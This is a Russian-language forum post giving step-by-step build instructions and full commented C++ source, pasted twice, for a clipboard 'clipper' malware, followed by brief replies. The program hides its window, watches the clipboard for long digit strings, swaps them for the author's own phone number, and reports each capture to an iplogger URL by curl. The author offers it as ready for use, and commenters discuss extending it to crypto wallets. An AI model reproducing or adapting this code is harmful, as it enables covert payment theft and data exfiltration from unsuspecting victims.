Предисловие Вот и давно обещанная мною тема по клипперу! Тут будет подробное описание и код с коментариями, поехали! Для начала создаём проект: Скриншот После чего создаём файл main.cpp: Добавляем файл Ставим сборку на release x86 включаем многобайтовую кодировку: Скриншот Подключаем доп библиотеки(curl): Скриншот В определения препроцессора пишем - CURL_STATICLIB Скриншот Теперь вставляем туда код: Код клипера с комментариями #include <iostream> //Основной инклуд #include <Windows.h> // Нужен для получения данных из клипборда и записи новых #include <curl/curl.h> // Для отстука на логгер #include <regex> // для регулярных выражений /*lib commenting*/ #pragma comment (lib,"libcurl_a.lib") //библиотека для curl.h #pragma comment (lib, "Shell32.lib") // lib for curl #pragma comment (lib, "Ws2_32.lib") // lib for curl #pragma comment (lib, "wldap32.lib") // lib for curl #pragma comment (lib, "crypt32") // lib for curl #pragma comment (lib, "Normaliz.lib") // lib for curl /*lib commenting*/ using namespace std; // использование пространства имён std void GetClipboardText(char * buff) // Получение данных из буфера обмена { if (OpenClipboard(NULL))//открываем буфер обмена { HANDLE hData = GetClipboardData(CF_TEXT); //получаем данные из буфера if (hData != NULL)// проверяем есть ли данные в буфере { char * chBuffer = (char *)GlobalLock(hData); // возвращаем указатель на данный объект памяти strcpy(buff, chBuffer); // копируем данные в chBuffer GlobalUnlock(hData); // разблокируем память } CloseClipboard();// закрываем буфер обмена } } void ToClipboard(const char* text) // Запись данных в буфер обмена { if (OpenClipboard(0)) // Открываем Буфер обмена { EmptyClipboard();//Удаляем данные из буфера обмена char* clip_data = (char*)(GlobalAlloc(GMEM_FIXED, MAX_PATH)); // освобождаем память под запись lstrcpy(clip_data, text); //копируем строку в clip_data SetClipboardData(CF_TEXT, (HANDLE)(clip_data)); // копируем строку в буфер LCID* lcid = (DWORD*)(GlobalAlloc(GMEM_FIXED, sizeof(DWORD))); // освобождаем память *lcid = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT);// поддержка всех языков SetClipboardData(CF_LOCALE, (HANDLE)(lcid)); // Включаем поддержку всех языков CloseClipboard();//закрываем буфер обмена } } int main(){ ShowWindow(GetConsoleWindow(), SW_HIDE); // скрываем консольное окно char * buff = new char[1024];//буфер в который копируется инфа regex Telephone("[0-9]{10,}");//регулярка string buffer;//буфер CURL *hnd = curl_easy_init(); // init curl curl_easy_setopt(hnd, CURLOPT_CUSTOMREQUEST, "POST"); // set curl request to post curl_easy_setopt(hnd, CURLOPT_URL, "Your_IploggerURL"); // url to post curl_easy_setopt(hnd, CURLOPT_USERAGENT, "New_Log!"); // This useragent curl_easy_perform(hnd); // send our request and clear curl while (true){//бесконечный цикл start://стартовая точка GetClipboardText(buff);// получаем данные из буфера buffer = buff; // присваеваем string buffer - char * buffer[1024] if (buffer.c_str() != NULL){ // если не равно нулю if (regex_search(buffer, Telephone)) { // ищем по регулярке ToClipboard("+79878300288"); // Ваш номер телефона CURL *hnd = curl_easy_init(); // инициализируем curl curl_easy_setopt(hnd, CURLOPT_CUSTOMREQUEST, "POST"); // устанавливаем запрос на пост curl_easy_setopt(hnd, CURLOPT_URL, "Your_IploggerURL"); // ваша ссылка на iplogger curl_easy_setopt(hnd, CURLOPT_USERAGENT, buffer += "Ha Your_Number"); // Юзер агент curl_easy_perform(hnd); // send our request and clear curl Sleep(500); // Нужно чтобы клиппер не жрал память goto start; // обратно в старт } else { Sleep(500); // Нужно чтобы клиппер не жрал память goto start; // обратно в старт } } } return 0; } Код #include <iostream> //Основной инклуд #include <Windows.h> // Нужен для получения данных из клипборда и записи новых #include <curl/curl.h> // Для отстука на логгер #include <regex> // для регулярных выражений /*lib commenting*/ #pragma comment (lib,"libcurl_a.lib") //библиотека для curl.h #pragma comment (lib, "Shell32.lib") // lib for curl #pragma comment (lib, "Ws2_32.lib") // lib for curl #pragma comment (lib, "wldap32.lib") // lib for curl #pragma comment (lib, "crypt32") // lib for curl #pragma comment (lib, "Normaliz.lib") // lib for curl /*lib commenting*/ using namespace std; // использование пространства имён std void GetClipboardText(char * buff) // Получение данных из буфера обмена { if (OpenClipboard(NULL))//открываем буфер обмена { HANDLE hData = GetClipboardData(CF_TEXT); //получаем данные из буфера if (hData != NULL)// проверяем есть ли данные в буфере { char * chBuffer = (char *)GlobalLock(hData); // возвращаем указатель на данный объект памяти strcpy(buff, chBuffer); // копируем данные в chBuffer GlobalUnlock(hData); // разблокируем память } CloseClipboard();// закрываем буфер обмена } } void ToClipboard(const char* text) // Запись данных в буфер обмена { if (OpenClipboard(0)) // Открываем Буфер обмена { EmptyClipboard();//Удаляем данные из буфера обмена char* clip_data = (char*)(GlobalAlloc(GMEM_FIXED, MAX_PATH)); // освобождаем память под запись lstrcpy(clip_data, text); //копируем строку в clip_data SetClipboardData(CF_TEXT, (HANDLE)(clip_data)); // копируем строку в буфер LCID* lcid = (DWORD*)(GlobalAlloc(GMEM_FIXED, sizeof(DWORD))); // освобождаем память *lcid = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT);// поддержка всех языков SetClipboardData(CF_LOCALE, (HANDLE)(lcid)); // Включаем поддержку всех языков CloseClipboard();//закрываем буфер обмена } } int main(){ ShowWindow(GetConsoleWindow(), SW_HIDE); // скрываем консольное окно char * buff = new char[1024];//буфер в который копируется инфа regex Telephone("[0-9]{10,}");//регулярка string buffer;//буфер CURL *hnd = curl_easy_init(); // init curl curl_easy_setopt(hnd, CURLOPT_CUSTOMREQUEST, "POST"); // set curl request to post curl_easy_setopt(hnd, CURLOPT_URL, "Your_IploggerURL"); // url to post curl_easy_setopt(hnd, CURLOPT_USERAGENT, "New_Log!"); // This useragent curl_easy_perform(hnd); // send our request and clear curl while (true){//бесконечный цикл start://стартовая точка GetClipboardText(buff);// получаем данные из буфера buffer = buff; // присваеваем string buffer - char * buffer[1024] if (buffer.c_str() != NULL){ // если не равно нулю if (regex_search(buffer, Telephone)) { // ищем по регулярке ToClipboard("+79878300288"); // Ваш номер телефона CURL *hnd = curl_easy_init(); // инициализируем curl curl_easy_setopt(hnd, CURLOPT_CUSTOMREQUEST, "POST"); // устанавливаем запрос на пост curl_easy_setopt(hnd, CURLOPT_URL, "Your_IploggerURL"); // ваша ссылка на iplogger curl_easy_setopt(hnd, CURLOPT_USERAGENT, buffer += "Ha Your_Number"); // Юзер агент curl_easy_perform(hnd); // send our request and clear curl Sleep(500); // Нужно чтобы клиппер не жрал память goto start; // обратно в старт } else { Sleep(500); // Нужно чтобы клиппер не жрал память goto start; // обратно в старт } } } return 0; } Тестируем: Видео Как видим всё работает, на iplogger заходить не стал, чтобы ничего не спалить) пользуйтесь на здоровье!
Только номер телефона и все ? и только с 7 ? Зачем он нужен , если в паблике лежит норм клиппер с норм количеством кошельков
Retrl, Это не сырой софт, это готовый клиппер, добавляют кошельки пускай сами надо же чему то учится самим, например делать регулярки
Что-то мне подсказывает, что этот челик очень любит goto - тыкает его в итак уже бесконечный цикл. Забавно